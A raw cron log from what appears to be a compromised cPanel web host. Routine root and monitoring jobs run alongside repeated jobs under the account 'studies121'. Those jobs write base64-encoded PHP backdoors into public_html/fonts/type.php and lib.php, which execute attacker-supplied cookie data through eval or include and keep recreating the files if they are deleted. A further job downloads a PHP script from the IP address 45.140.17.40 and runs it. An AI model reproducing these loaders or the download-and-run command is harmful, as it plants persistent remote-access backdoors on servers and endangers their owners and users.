Sep  3 14:12:01 ip-184-168-122-23 CROND[17968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:13:01 ip-184-168-122-23 CROND[18045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:13:01 ip-184-168-122-23 CROND[18046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:13:01 ip-184-168-122-23 CROND[18047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:13:01 ip-184-168-122-23 CROND[18048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:14:01 ip-184-168-122-23 CROND[18127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:14:01 ip-184-168-122-23 CROND[18128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:14:01 ip-184-168-122-23 CROND[18129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:14:01 ip-184-168-122-23 CROND[18130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:14:01 ip-184-168-122-23 CROND[18132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:15:01 ip-184-168-122-23 CROND[18233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:15:01 ip-184-168-122-23 CROND[18235]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 14:15:01 ip-184-168-122-23 CROND[18238]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:15:01 ip-184-168-122-23 CROND[18239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:15:01 ip-184-168-122-23 CROND[18240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:15:01 ip-184-168-122-23 CROND[18242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:15:01 ip-184-168-122-23 CROND[18241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:16:01 ip-184-168-122-23 CROND[18329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:16:01 ip-184-168-122-23 CROND[18330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:16:01 ip-184-168-122-23 CROND[18332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:16:01 ip-184-168-122-23 CROND[18333]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 14:16:01 ip-184-168-122-23 CROND[18336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:16:01 ip-184-168-122-23 CROND[18334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:17:01 ip-184-168-122-23 CROND[18418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:17:01 ip-184-168-122-23 CROND[18421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:17:01 ip-184-168-122-23 CROND[18419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:17:01 ip-184-168-122-23 CROND[18420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:18:01 ip-184-168-122-23 CROND[18501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:18:01 ip-184-168-122-23 CROND[18503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:18:01 ip-184-168-122-23 CROND[18504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:18:01 ip-184-168-122-23 CROND[18505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:18:01 ip-184-168-122-23 CROND[18506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:19:01 ip-184-168-122-23 CROND[18672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:19:01 ip-184-168-122-23 CROND[18673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:19:01 ip-184-168-122-23 CROND[18675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:19:01 ip-184-168-122-23 CROND[18674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:20:01 ip-184-168-122-23 CROND[18761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:20:01 ip-184-168-122-23 CROND[18762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:20:01 ip-184-168-122-23 CROND[18768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:20:01 ip-184-168-122-23 CROND[18769]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:20:01 ip-184-168-122-23 CROND[18770]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 14:20:01 ip-184-168-122-23 CROND[18771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:20:01 ip-184-168-122-23 CROND[18773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:20:01 ip-184-168-122-23 CROND[18772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:20:01 ip-184-168-122-23 CROND[18774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:21:01 ip-184-168-122-23 CROND[18879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:21:01 ip-184-168-122-23 CROND[18881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:21:01 ip-184-168-122-23 CROND[18882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:21:01 ip-184-168-122-23 CROND[18885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:22:01 ip-184-168-122-23 CROND[18969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:22:01 ip-184-168-122-23 CROND[18971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:22:01 ip-184-168-122-23 CROND[18972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:22:01 ip-184-168-122-23 CROND[18973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:22:01 ip-184-168-122-23 CROND[18974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:23:01 ip-184-168-122-23 CROND[19051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:23:01 ip-184-168-122-23 CROND[19052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:23:01 ip-184-168-122-23 CROND[19054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:23:01 ip-184-168-122-23 CROND[19055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:24:01 ip-184-168-122-23 CROND[19133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:24:01 ip-184-168-122-23 CROND[19138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:24:01 ip-184-168-122-23 CROND[19136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:24:01 ip-184-168-122-23 CROND[19135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:24:01 ip-184-168-122-23 CROND[19137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
